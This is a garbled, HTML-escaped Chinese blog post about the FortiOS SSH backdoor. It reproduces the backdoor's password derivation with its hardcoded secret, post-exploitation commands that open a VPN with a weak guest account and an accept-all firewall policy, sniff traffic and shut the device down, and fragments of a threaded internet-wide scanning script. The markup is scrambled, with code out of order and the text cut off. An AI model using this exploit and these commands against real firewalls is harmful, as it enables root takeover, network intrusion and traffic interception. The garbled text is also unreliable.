mutex.acquire():&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;threadCount-=1&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;scanCount+=1&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;mutex.release()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;return&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;def main():&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global threadCount&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global results_fd&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;global scanCount&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;host_file=open(&#8220;port22.txt&#8221;,&#8221;r&#8221;)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;results_fd=open(&#8220;fgt_ssh_backdoor.txt&#8221;,&#8221;wt&#8221;)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;while True:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;readBuff=host_file.readline()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;if len(readBuff)&lt;3:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;break&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;targetIP=readBuff[:len(readBuff)-1]&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;while threadCount&gt;1000:&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;pass&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;threading.Thread(target=scan_thread, args=(targetIP,)).start()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;print &#8220;target:&#8221;+targetIP+&#8221;\\t&#8221;+&#8221;thread count:&#8221;+str(threadCount)+&#8221;\\tscan count:&#8221;+str(scanCount)&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:12px;&quot;&gt;if __name__ == &#8216;__main__&#8217;:&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&lt;span style=&quot;font-family:\u5b8b\u4f53;color:black;font-size:6.5pt;&quot;&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;&nbsp;&nbsp;&nbsp; &lt;\/span&gt;&lt;span style=&quot;font-size:12px;&quot;&gt;main()&lt;\/span&gt;&lt;\/span&gt;\n&lt;\/p&gt;\n&lt;p class=&quot;MsoNormal&quot;&gt;\n\t&nbsp;&lt;\/p&gt;\n<\/div><div class=\"gfmr-markdown-rendered\"><p>&nbsp;<b><span style=\"font-family:\u5b8b\u4f53;font-size:12pt\">\u6f0f\u6d1e\u6982\u8981<\/span><\/b><b><span style=\"font-size:12pt\"><\/span><\/b> <\/p>\n<p>\n\t&nbsp;&nbsp;&nbsp;&nbsp;FortiiGate\u7f51\u7edc\u5b89\u5168\u5e73\u53f0\u662f\u7531Fortinet\uff08\u98de\u5854\uff09\u516c\u53f8\u63a8\u51fa\u7684\u7f51\u7edc\u9632\u706b\u5899\u4ea7\u54c1\uff0c\u5305\u62ec\u9ad8\u6027\u80fd\u6570\u636e\u4e2d\u5fc3\u9632\u706b\u5899\u548cNGFW\uff08\u4e0b\u4e00\u4ee3\u9632\u706b\u5899\uff09\u4ee5\u53caUTM\uff08 \u7edf\u4e00\u5a01\u80c1\u7ba1\u7406\uff09\u3002\u8fd9\u6b21\u66b4\u51fa\u6765\u7684\u662f\u4e00\u4e2assh\u540e\u95e8\uff0c\u653b\u51fb\u8005\u80fd\u5229\u7528\u6b64\u540e\u95e8\u76f4\u63a5\u83b7\u53d6Fortigate\u6700\u9ad8\u7ba1\u7406\u6743\u9650\uff0c\u53ef\u4ee5\u63a7\u5236\u8bbe\u5907\u8fdb\u884c\u6bd4\u5982\u6293\u53d6\u6d41\u91cf\u76d1\u542c\uff0cdns\u6b3a\u9a97\uff0c\u5efa\u7acb\u96a7\u9053\u8fdb\u5165\u4f01\u4e1a\u5185\u7f51\u7b49\u653b\u51fb\u884c\u4e3a\u3002\n<\/p>\n<p>\n\t&nbsp;\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;background:white;color:black;font-size:12pt\">\u5f71\u54cd\u8303\u56f4<span><\/span><\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">FortiOS 4.3.0-4.3.16 <\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u3000\u3000<span><\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">FortiOS 5.0.0-5.0.7<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t&nbsp;\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\">\u6f0f\u6d1e\u5206\u6790<span><\/span><\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>&nbsp;&nbsp;&nbsp;&nbsp; <\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u8fd9\u4e2a\u540e\u95e8\u91c7\u7528\u4e86\u8d28\u7591<span>\/<\/span>\u5e94\u7b54\u8eab\u4efd\u8ba4\u8bc1\u6a21\u5f0f\uff1a<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>1\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5ba2\u6237\u7aef\u5411\u670d\u52a1\u5668\u53d1\u9001\u4e00\u4e2a\u9a8c\u8bc1\u8bf7\u6c42\uff0c\u5982\uff1a<span><span><span>ssh Fortimanager_Access@<\/span><\/span><\/span><\/a><\/span><span><\/span><span><\/span><span><span> <\/span><\/span><span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">1.1.1.1<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>2\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u670d\u52a1\u5668\u63a5\u5230\u6b64\u8bf7\u6c42\u540e\u751f\u6210\u4e00\u4e2a\u968f\u673a\u6570\u4f20\u8f93\u7ed9\u5ba2\u6237\u7aef\uff08\u6b64\u4e3a\u8d28\u7591\uff09\u3002<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>3\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5ba2\u6237\u7aef\u5c06\u63a5\u6536\u5230\u7684\u968f\u673a\u6570\u5f53\u5bc6\u94a5\u7ed3\u5408\u81ea\u5df1\u6240\u6301\u7684\u5b57\u7b26\u4e32\u8ba1\u7b97\u5c31\u80fd\u5f97\u5230\u5bc6\u7801\uff08\u6b64\u4e3a\u5e94\u7b54\uff09\u3002<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:39pt\" class=\"MsoListParagraph\">\n\t&nbsp;\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\">POC<\/span><\/b><b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\">\u6d41\u7a0b\u5206\u6790<span><\/span><\/span><\/b>\n<\/p>\n<p style=\"text-indent:18pt\" class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u8be5\u8bbe\u5907\u7684<span>SSH<\/span>\u767b\u9646\u65b9\u5f0f\u91c7\u7528\u4ea4\u4e92\u5f0f\u9a8c\u8bc1\uff0c<span>POC<\/span>\u6d41\u7a0b\u5206\u89e3\u5982\u4e0b\uff1a<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>1\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5ba2\u6237\u7aef\u53d1\u8d77<span>ssh<\/span>\u8fde\u63a5\u8bf7\u6c42\u3002<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>2\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u670d\u52a1\u7aef\u8fd4\u56de\u4e00\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\u3002<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>3\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5ba2\u6237\u7aef\u83b7\u53d6\u8fd9\u4e2a\u968f\u673a\u5b57\u7b26\u4e32\u540e\u7ed3\u5408\u672c\u5730\u6240\u6301\u6709\u7684\u5b57\u7b26\u4e32\u683c\u5f0f\u5316\u4e3a\u65b0\u4e32\uff1a<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:15pt;margin-left:21pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">12<\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5b57\u8282\u7684<span>\\x00<\/span>\u5b57\u7b26<span>+<\/span>\u968f\u673a\u5b57\u7b26\u4e32<span>+&#8217;FGTAbc11*xy+Qqz27&#8217;+<\/span><\/span><span> <\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">&#8216;\\xA3\\x88\\xBA\\x2E\\x42\\x4C\\xB0\\x4A\\x53\\x79\\x30\\xC1\\x31\\x07\\xCC\\x3F\\xA1\\x32\\x90\\x29\\xA9\\x81\\x5B\\x70&#8217;<\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>4\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u4f7f\u7528<span>SHA1<\/span>\u7b97\u6cd5\u8ba1\u7b97\u4e0a\u8ff0\u5b57\u7b26\u4e32\u7684\u6458\u8981\uff0c\u8bb0\u4f5c<span>digest.<\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>5\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5728<span>digest<\/span>\u5b57\u7b26\u4e32\u524d\u6dfb\u52a0<span>12<\/span>\u5b57\u8282\u7684<span>\\x00<\/span>\u5b57\u7b26\u540e\u8fdb\u884c<span>base64<\/span>\u7f16\u7801\u3002<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>6\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5728\u7f16\u7801\u540e\u7684\u5b57\u7b26\u4e32\u524d\u6dfb\u52a0<span>\u2019AK1\u2019<\/span>\u5b57\u7b26\u3002<span><\/span><\/span>\n<\/p>\n<p style=\"text-indent:-18pt;margin-left:36pt\" class=\"MsoListParagraph\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><span>7\u3001<span>&nbsp; <\/span><\/span><\/span><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u6700\u540e\u6240\u5f97\u5b57\u7b26\u4e32\u4e3a\u5bc6\u7801\u3002<span><\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\"><\/span><\/b>&nbsp;\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\">\u6f0f\u6d1e\u9a8c\u8bc1<span><\/span><\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u8d28\u7591\uff1a<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><a id=\"ematt:345\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg\" data-rel=\"penci-gallery-image-content\"  target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" title=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" alt=\"1.jpg\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/f3cc1452850149.jpg\" width=\"538\" height=\"99\" \/><\/a><span><\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><\/span><b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\"><\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\">\u5e94\u7b54\uff1a<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:9pt\"><a id=\"ematt:347\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/15601452850149.jpg\" data-rel=\"penci-gallery-image-content\"  target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" title=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" alt=\"2.jpg\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/15601452850149.jpg\" width=\"451\" height=\"61\" \/><\/a><span><\/span><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t\u56fd\u5185\u5171\u68c0\u6d4b\u51fa\u53d7\u5f71\u54cd\u7684\u8bbe\u5907\uff1a\n<\/p>\n<p><a id=\"ematt:349\" href=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/85ec1453168230.jpg\" data-rel=\"penci-gallery-image-content\"  target=\"_blank\"><img loading=\"lazy\" decoding=\"async\" title=\"\u70b9\u51fb\u67e5\u770b\u539f\u56fe\" border=\"0\" alt=\"results.jpg\" src=\"http:\/\/www.weizn.net\/content\/uploadfile\/201601\/85ec1453168230.jpg\" width=\"395\" height=\"51\" \/><\/a> <\/p>\n<p class=\"MsoNormal\">\n\t&nbsp;\n<\/p>\n<p>\n\t<span style=\"font-size:16px\"><strong>\u6f0f\u6d1e\u5229\u7528<\/strong><\/span><br \/>\n&nbsp;\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u83b7\u53d6\u5230\u9632\u706b\u5899\u7684root\u6743\u9650\uff0c\u6240\u6709\u9632\u706b\u5899\u7684\u64cd\u4f5c\u90fd\u53ef\u4ee5\u505a\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u521b\u5efaVPN\u7684\u65b9\u5f0f\u7ee7\u7eed\u8fdb\u884c\u5185\u7f51\u6e17\u900f\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u9632\u706b\u5899\u81ea\u5e26\u7684\u6293\u5305\u529f\u80fd\u76d1\u542c\u6d41\u91cf\u3002\n<\/p>\n<p>\n\t1\u3001\u67e5\u770b\u7cfb\u7edf\u72b6\u6001<br \/>\nget system status\n<\/p>\n<p>\n\t2\u3001\u521b\u5efaVPN\uff0c\u8fde\u63a5\u540e\u53ef\u7528nmap\u5bf9\u5185\u7f51\u8fdb\u884c\u626b\u63cf\u3002<br \/>\nconfig vpn pptp<br \/>\nset status enable<br \/>\nset eip 192.168.200.100<br \/>\nset sip 192.168.200.1<br \/>\nset usrgrp Guest-group<br \/>\nend<br \/>\nconfig user local<br \/>\nedit &#8220;guest&#8221;<br \/>\nset type password<br \/>\nset passwd 123456<br \/>\nnext<br \/>\nend<br \/>\nconfig user group<br \/>\nedit &#8220;Guest-group&#8221;<br \/>\nset profile &#8220;unfiltered&#8221;<br \/>\nset member &#8220;guest&#8221;<br \/>\nnext<br \/>\nend<br \/>\nconfig firewall policy<br \/>\nedit 9<br \/>\nset srcintf &#8220;wan1&#8221;<br \/>\nset dstintf &#8220;internal&#8221;<br \/>\nset srcaddr &#8220;all&#8221;<br \/>\nset dstaddr &#8220;all&#8221;<br \/>\nset action accept<br \/>\nset schedule &#8220;always&#8221;<br \/>\nset service &#8220;ANY&#8221;<br \/>\nnext<br \/>\nend\n<\/p>\n<p>\n\t3\u3001\u76d1\u542c\u6d41\u91cf<br \/>\ndiag sniffer packet any none 3&nbsp;\u6355\u83b7\u6240\u6709\u63a5\u53e3\u7684\u6570\u636e\u5305\n<\/p>\n<p>\n\t3\u3001\u67e5\u770b\u5168\u5c40\u8def\u7531\u8868<br \/>\nget router info routing-table all\n<\/p>\n<p>\n\t4\u3001\u67e5\u770bDNS<br \/>\nshow system dns\n<\/p>\n<p>\n\t5\u3001\u521b\u5efa\u9759\u6001NAT<br \/>\nconfig firewall vip<br \/>\nedit &#8220;NAT_200.1.1.10&#8221;<br \/>\nset extip 200.1.1.10<br \/>\nset extintf &#8220;port1&#8221;<br \/>\nset mappedip 10.1.1.10&nbsp;<br \/>\nnext<br \/>\nend\n<\/p>\n<p>\n\t6\u3001\u5173\u95ed\/\u91cd\u542f\u8bbe\u5907<br \/>\nexec shutdown <br \/>\nexec reboot&nbsp;\n<\/p>\n<p class=\"MsoNormal\">\n\t<span><\/span><b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\"><\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\"><\/span><\/b>\n<\/p>\n<p class=\"MsoNormal\">\n\t<b><span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12pt\">\u516c\u7f51\u626b\u63cf\u4ee3\u7801\uff1a<span><\/span><\/span><\/b>\n<\/p>\n<p>&nbsp;<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import socket<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import select<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import sys<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import paramiko<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">from paramiko.py3compat import u<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import base64<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import hashlib<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import termios<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import tty<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import thread<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import time<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">import threading<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">results_fd=&#8221;<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">threadCount=0<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">scanCount=0<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">mutex=thread.allocate_lock()<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">file_mutex=thread.allocate_lock()<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:6.5pt\"><\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span style=\"font-family:\u5b8b\u4f53;color:black;font-size:12px\">def custom_handler(title, instructions, prompt_list):<\/span>\n<\/p>\n<p class=\"MsoNormal\">\n\t<span 